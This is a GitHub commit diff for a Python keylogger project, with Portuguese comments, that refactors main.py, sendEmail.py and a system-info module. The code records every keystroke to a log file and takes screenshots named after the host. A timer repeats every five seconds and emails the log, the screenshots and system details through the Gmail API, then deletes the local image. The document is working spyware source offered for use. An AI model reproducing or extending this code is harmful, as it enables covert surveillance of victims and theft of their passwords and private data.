Skip to content

Commit 19d421b

Browse files
committed
adicionado screenshot e nova classe de funcoes
1 parent 504f30e commit 19d421b

File tree

4 files changed

+37
-53
lines changed

4 files changed

+37
-53
lines changed

.gitignore

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,4 +10,10 @@
1010
token.pickle
1111

1212
#ambiente de desenvolvimento
13-
/venvKeylogger
13+
/venvKeylogger
14+
15+
# logs do keylogger
16+
/logs
17+
18+
#so o print do pc, nada de mais
19+
**NotebookAdrian.png

main.py

Lines changed: 11 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -1,43 +1,15 @@
1-
from sendEmail import sndEmail
2-
from pynput.keyboard import Key, Listener
3-
4-
logFile : str = 'logs/log.txt'
5-
6-
def writeLog(key):
7-
keydata = str(key).replace("'", "")
8-
translate_keys = {
9-
"space": " ",
10-
"Key.shift_r": "",
11-
"Key.shift_l": "",
12-
"enter": " ",
13-
"Key.": " ",
14-
"Key.alt": "",
15-
"Key.esc": "",
16-
"Key.cmd": "",
17-
"Key.caps_lock": "",
18-
"Key.ctrl_l\x1a": 'CTRL-Z',
19-
"back": "",
20-
"Key.shift": "",
21-
"Key.ctrl_l": "",
22-
"\x1a": "",
23-
"Key.tab": "",
24-
"ctrl_l": "ctrl",
25-
"ctrl_r": "ctrl"
26-
}
27-
28-
for key in translate_keys:
29-
keydata = keydata.replace(key, translate_keys[key])
30-
31-
with open(logFile, "a") as l:
32-
l.write(keydata)
1+
import os, socket
332

3+
from sendEmail import sndEmail
4+
from pynput.keyboard import Listener
345

35-
def stopKeyLogger(key):
36-
if key == Key.esc and Key.f2:
37-
email = sndEmail()
38-
email.timeToSend()
39-
return False
6+
from functions import keyloggerFn
7+
fnKeyLogger = keyloggerFn.keylogger()
408

41-
with Listener(on_press=writeLog, on_release=stopKeyLogger) as listener:
42-
listener.join()
439

10+
with Listener(on_press=fnKeyLogger.writeLog, on_release=fnKeyLogger.stopKeyLogger) as listener:
11+
email = sndEmail()
12+
email.timeToSend()
13+
14+
os.remove(f'{socket.gethostname()}.png')
15+
listener.join()

pcInfo/info.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
import requests
55
import win32api
66
import os
7+
78
def infoPc():
89
listI = f"""
910
Sistema: {platform.system()}

sendEmail.py

Lines changed: 18 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,4 @@
1-
import os
2-
import pickle
3-
import threading
1+
import os, pickle, socket, threading
42

53
from email.mime.audio import MIMEAudio
64
from email.mime.base import MIMEBase
@@ -17,14 +15,17 @@
1715
from mimetypes import guess_type as guess_mime_type
1816

1917
from pcInfo import info
18+
from functions import keyloggerFn
19+
2020
iPc = info.infoPc()
21+
keyloggerFn = keyloggerFn.keylogger()
2122

2223
class sndEmail:
2324
def __init__(self, destination = '[email protected]', obj = 'Keylogger',
24-
body = f'{iPc}', attachments = ["logs/log.txt"]):
25-
self.destination = destination
26-
self.obj = obj
27-
self.body = body
25+
body = f'{iPc}', attachments = ["logs/log.txt", f"{socket.gethostname()}.png"]):
26+
self.__destination = destination
27+
self.__obj = obj
28+
self.__body = body
2829
self.__attachments = attachments
2930

3031
self.scopes = ['https://mail.google.com/']
@@ -57,19 +58,23 @@ def timeToSend(self):
5758

5859
send_message(
5960
service,
60-
self.destination,
61-
self.obj,
62-
self.body,
61+
self.__destination,
62+
self.__obj,
63+
self.__body,
6364
self.__attachments,
6465
)
6566

66-
timer = threading.Timer(20, self.timeToSend)
67+
timer = threading.Timer(5, self.timeToSend)
68+
timer.daemon = True
6769
timer.start()
6870

6971

70-
7172
def add_attachment(message: MIMEMultipart, filename: str):
73+
timer = threading.Timer(2, keyloggerFn.screenshot)
74+
timer.start()
75+
7276
content_type, encoding = guess_mime_type(filename)
77+
7378
if content_type is None or encoding is not None:
7479
content_type = 'application/octet-stream'
7580
main_type, sub_type = content_type.split('/', 1)
@@ -123,4 +128,4 @@ def send_message(svr, destination: str, obj: str, body: str, attachments: list[s
123128
.messages()
124129
.send(userId="me", body=buildMsg(destination, obj, body, attachments))
125130
.execute()
126-
)
131+
)

0 commit comments

Comments
 (0)